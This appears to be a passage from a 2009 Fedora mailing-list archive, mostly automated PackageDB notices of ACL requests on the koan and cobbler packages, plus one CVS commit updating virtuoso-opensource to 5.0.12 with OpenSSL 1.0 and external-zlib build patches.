From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:46 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143547.0728910F8CA@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:52 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143552.7BFBC10F8D2@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:53 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143553.C81BB10F8DA@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:55 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143555.540DA10F8DE@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:35:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:35:56 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143556.E739010F8E7@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:09 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143610.0BB8010F894@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:13 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143613.9FFC110F8B3@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:11 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143612.0D73C10F8AC@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:15 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143615.F058910F8B5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 7)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:25 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143625.6CB1D10F8B6@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:26 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143626.E481710F8B9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:28 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143628.1EE5510F8E0@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:30 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143630.284B210F8E1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:38 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143638.BEE8D10F8C0@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:38 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143639.05C7C10F8C5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:39 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143639.302B210F8EC@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:40 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143640.8E5A110F8ED@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:41 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143641.B583F10F8EF@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:43 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143643.10F6D10F8F0@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:48 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143648.6382310F8CD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:53 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143653.B586010F8D2@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:50 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143650.3ED9E10F8F1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:36:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:36:54 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143655.107A610F8F2@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:00 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143700.B805B10F8D9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:02 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143702.E34E610F8DD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:04 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143704.7A41C10F8F3@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:06 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143706.2401710F8F4@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:13 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143713.E2E9E10F880@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:15 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143715.3CDB510F8AD@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:15 +0000
Subject: [pkgdb] cobbler: awood has requested watchcommits
Message-ID: <20091020143715.5503310F8E7@bastion2.fedora.phx.redhat.com>

awood has requested the watchcommits acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:15 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143715.E3A0C10F8FA@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:16 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143716.B1E7A10F8B1@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:18 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143718.CFC6710F8FE@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:18 +0000
Subject: [pkgdb] koan: jeckersb has requested approveacls
Message-ID: <20091020143718.D112F10F8FF@bastion2.fedora.phx.redhat.com>

jeckersb has requested the approveacls acl on koan (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:34 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143734.A695910F8EC@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:36 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143736.6136610F906@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:37 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143737.75D3E10F90A@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:38 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143738.8D6AB10F8ED@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 9)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:39 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143739.F171C10F909@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 8)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From rdieter at fedoraproject.org  Tue Oct 20 14:37:35 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Tue, 20 Oct 2009 14:37:35 +0000 (UTC)
Subject: rpms/virtuoso-opensource/F-11
	virtuoso-opensource-5.0.11-openssl.patch, NONE,
	1.1 virtuoso-opensource-5.0.12-zlib.patch, NONE, 1.1 .cvsignore,
	1.2, 1.3 sources, 1.2, 1.3 virtuoso-opensource.spec, 1.1, 1.2
Message-ID: <20091020143735.60EED11C0081@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22100

Modified Files:
	.cvsignore sources virtuoso-opensource.spec 
Added Files:
	virtuoso-opensource-5.0.11-openssl.patch 
	virtuoso-opensource-5.0.12-zlib.patch 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
- virtuoso-opensource-5.0.12


virtuoso-opensource-5.0.11-openssl.patch:
 Dk/Dkernel.c |   24 ++++++++++++++----------
 Wi/http.c    |   12 ++++++------
 2 files changed, 20 insertions(+), 16 deletions(-)

--- NEW FILE virtuoso-opensource-5.0.11-openssl.patch ---
diff -up virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c.openssl virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c
--- virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c.openssl	2009-04-17 22:07:28.000000000 +0200
+++ virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c	2009-08-26 16:03:23.000000000 +0200
@@ -4798,7 +4798,11 @@ dk_ssl_free (void *old)
 static void
 ssl_server_init ()
 {
+#if (OPENSSL_VERSION_NUMBER >= 0x10000000L)
+  const SSL_METHOD *ssl_server_method = NULL;
+#else
   SSL_METHOD *ssl_server_method = NULL;
+#endif
   unsigned char tmp[1024];
 #ifndef NO_THREAD
   char err_buf[1024];
@@ -4888,12 +4892,12 @@ ssl_server_init ()
       SSL_CTX_set_session_id_context (ssl_server_ctx, (unsigned char *) &session_id_context, sizeof session_id_context);
 
       skCAList = SSL_CTX_get_client_CA_list (ssl_server_ctx);
-      if (sk_num ((STACK *) skCAList) == 0)
+      if (sk_X509_NAME_num (skCAList) == 0)
 	log_warning ("ODBC X509 Client authentication requested but no CA known for verification");
-      for (i = 0; i < sk_num ((STACK *) skCAList); i++)
+      for (i = 0; i < sk_X509_NAME_num (skCAList); i++)
 	{
 	  char ca_buf[1024];
-	  X509_NAME *ca_name = (X509_NAME *) sk_value ((STACK *) skCAList, i);
+	  X509_NAME *ca_name = (X509_NAME *) sk_X509_NAME_value (skCAList, i);
 	  if (X509_NAME_oneline (ca_name, ca_buf, sizeof (ca_buf)))
 	    log_debug ("ODBC Server Using X509 Client CA %s", ca_buf);
 	}
@@ -5058,7 +5062,7 @@ ssl_setup:
 
   if (ca && ca[0] != 0)
     {
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       ca_list = NULL;
       ca_list = PEM_load_certs (ca, passwd);
     }
@@ -5067,30 +5071,30 @@ ssl_setup:
     {
       X509_free (cert);
       EVP_PKEY_free (pkey);
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       return 0;
     }
   EVP_PKEY_free (pkey);
   if (!SSL_use_certificate (ssl, cert))
     {
       X509_free (cert);
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       return 0;
     }
   X509_free (cert);
 
   if (!SSL_check_private_key (ssl))
     {
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       return 0;
     }
-  for (i = 0; i < sk_num ((STACK *) ca_list); i++)
+  for (i = 0; i < sk_X509_num (ca_list); i++)
     {
-      X509 *ca = (X509 *) sk_value ((STACK *) ca_list, i);
+      X509 *ca = sk_X509_value (ca_list, i);
       SSL_add_client_CA (ssl, ca);
       X509_STORE_add_cert (SSL_CTX_get_cert_store (ssl_ctx), ca);
     }
-  sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+  sk_X509_pop_free (ca_list, X509_free);
   return 1;
 }
 
diff -up virtuoso-opensource-5.0.11/libsrc/Wi/http.c.openssl virtuoso-opensource-5.0.11/libsrc/Wi/http.c
--- virtuoso-opensource-5.0.11/libsrc/Wi/http.c.openssl	2009-04-19 23:48:56.000000000 +0200
+++ virtuoso-opensource-5.0.11/libsrc/Wi/http.c	2009-08-26 16:28:03.000000000 +0200
@@ -7601,13 +7601,13 @@ http_set_ssl_listen (dk_session_t * list
       SSL_CTX_set_client_CA_list (ssl_ctx, skCAList);
       skCAList = SSL_CTX_get_client_CA_list(ssl_ctx);
 
-      if (sk_num((STACK *) skCAList) == 0)
+      if (sk_X509_NAME_num(skCAList) == 0)
 	log_warning ("HTTPS Client authentication requested but no CA known for verification");
 
-      for (i = 0; i < sk_num((STACK *) skCAList); i++)
+      for (i = 0; i < sk_X509_NAME_num(skCAList); i++)
 	{
 	  char ca_buf[1024];
-	  X509_NAME *ca_name = (X509_NAME *) sk_value ((STACK *) skCAList, i);
+	  X509_NAME *ca_name = sk_X509_NAME_value (skCAList, i);
 	  if (X509_NAME_oneline (ca_name, ca_buf, sizeof (ca_buf)))
 	    log_debug ("HTTPS Using X509 Client CA %s", ca_buf);
 	}
@@ -9697,13 +9697,13 @@ http_init_part_two ()
 
 	  SSL_CTX_set_client_CA_list (ssl_ctx, skCAList);
 	  skCAList = SSL_CTX_get_client_CA_list (ssl_ctx);
-	  if (sk_num((STACK *) skCAList) == 0)
+	  if (sk_X509_NAME_num(skCAList) == 0)
 	    log_warning ("HTTPS Client authentication requested but no CA known for verification");
 
-	  for (i = 0; i < sk_num((STACK *) skCAList); i++)
+	  for (i = 0; i < sk_X509_NAME_num(skCAList); i++)
 	    {
 	      char ca_buf[1024];
-	      X509_NAME *ca_name = (X509_NAME *) sk_value ((STACK *) skCAList, i);
+	      X509_NAME *ca_name = sk_X509_NAME_value (skCAList, i);
               if (X509_NAME_oneline (ca_name, ca_buf, sizeof (ca_buf)))
 		log_debug ("HTTPS Using X509 Client CA %s", ca_buf);
 	    }

virtuoso-opensource-5.0.12-zlib.patch:
 bif_file.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE virtuoso-opensource-5.0.12-zlib.patch ---
diff -up virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c
--- virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib	2009-10-16 05:27:36.000000000 -0500
+++ virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c	2009-10-20 08:42:56.060132625 -0500
@@ -57,7 +57,13 @@
 #endif
 
 #include "zlib.h"
-#include "zutil.h"
+/* #include "zutil.h" */
+#if MAX_MEM_LEVEL >= 8
+#  define DEF_MEM_LEVEL 8
+#else
+#  define DEF_MEM_LEVEL  MAX_MEM_LEVEL
+#endif
+
 #include "srvmultibyte.h"
 
 #define FS_MAX_STRING	(10L * 1024L * 1024L)	/* allow files up to 10 MB */


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Jul 2009 15:37:09 -0000	1.2
+++ .cvsignore	20 Oct 2009 14:37:31 -0000	1.3
@@ -1 +1 @@
-virtuoso-opensource-5.0.11.tar.gz
+virtuoso-opensource-5.0.12.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Jul 2009 15:37:10 -0000	1.2
+++ sources	20 Oct 2009 14:37:31 -0000	1.3
@@ -1 +1 @@
-9d5507b2a8d244c62f32f1203f10b9d1  virtuoso-opensource-5.0.11.tar.gz
+64949660e3f053ec43d00519a19751aa  virtuoso-opensource-5.0.12.tar.gz


Index: virtuoso-opensource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-11/virtuoso-opensource.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- virtuoso-opensource.spec	27 Jul 2009 15:37:10 -0000	1.1
+++ virtuoso-opensource.spec	20 Oct 2009 14:37:32 -0000	1.2
@@ -1,15 +1,24 @@
+
 Name:	 virtuoso-opensource
-Version: 5.0.11
-Release: 3%{?dist}
+Version: 5.0.12
+Release: 1%{?dist}
 Summary: A high-performance object-relational SQL database
 
 Group:   Applications/Databases
 # see LICENSE for exception details
 License: GPLv2 with exceptions
 URL:	 http://virtuoso.sourceforge.net/
-Source0: http://download.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+Source0: http://downloads.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+#Source0: ftp://download.openlinksw.com/support/vos/virtuoso-opensource-%{snap}.tar.gz
+Patch1:  virtuoso-opensource-5.0.11-openssl.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
+## Upstreamable patches
+# fix build with ossl-1.0
+Patch50: virtuoso-opensource-5.0.11-openssl.patch
+# fix build --with-external-zlib
+Patch51: virtuoso-opensource-5.0.12-zlib.patch
+
 BuildRequires: automake libtool
 BuildRequires: bison
 BuildRequires: flex
@@ -19,7 +28,9 @@ BuildRequires: htmldoc
 #BuildRequires: java-devel
 BuildRequires: openldap-devel
 BuildRequires: openssl-devel
+BuildRequires: libiodbc-devel
 BuildRequires: libxml2-devel
+BuildRequires: zlib-devel
 
 Provides: virtuoso = %{version}-%{release}
 
@@ -65,7 +76,10 @@ Requires: %{name} = %{version}-%{release
 
 
 %prep
-%setup -q -n virtuoso-opensource-%{version}
+%setup -q -n virtuoso-opensource%{!?snap:-%{version}}%{?snap:-%{snap}}
+
+%patch50 -p1 -b .openssl
+%patch51 -p1 -b .zlib
 
 
 %build
@@ -73,7 +87,11 @@ Requires: %{name} = %{version}-%{release
 %configure \
   --with-layout=redhat \
   --enable-shared --disable-static \
-  --with-debug
+  --without-internal-zlib \
+  --with-debug \
+  --enable-iodbc \
+  --enable-openssl \
+  --enable-xml
 
 # smp busted
 make 
@@ -139,6 +157,15 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
+- virtuoso-opensource-5.0.12
+
+* Sun Oct 11 2009 Rex Dieter <rdieter at fedoraproject.rog> 5.0.12-0.1.rc9.20090916
+- virtuoso-opensource-20090916 (5.0.12-rc9)
+
+* Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 5.0.11-4
+- rebuilt with new openssl
+
 * Fri Jul 24 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.11-3
 - BR: htmldoc
 - -doc subpkg



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:43 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143743.5293210F90C@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 5)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:42 +0000
Subject: [pkgdb] cobbler: awood has requested watchbugzilla
Message-ID: <20091020143742.3E25010F8CC@bastion2.fedora.phx.redhat.com>

awood has requested the watchbugzilla acl on cobbler (Fedora 6)

To make changes to this package see:
  /pkgdb/packages/name/cobbler



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:22 +0000
Subject: [pkgdb] koan: jeckersb has requested watchcommits
Message-ID: <20091020143723.060D710F900@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchcommits acl on koan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:21 +0000
Subject: [pkgdb] koan: jeckersb has requested watchbugzilla
Message-ID: <20091020143721.9996010F8B5@bastion2.fedora.phx.redhat.com>

jeckersb has requested the watchbugzilla acl on koan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:37:24 +0000
Subject: [pkgdb] koan: jeckersb has requested commit
Message-ID: <20091020143724.A931E10F8B9@bastion2.fedora.phx.redhat.com>

jeckersb has requested the commit acl on koan (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/koan



From pkgdb at fedoraproject.org  Tue Oct 20 14:37:26 2009
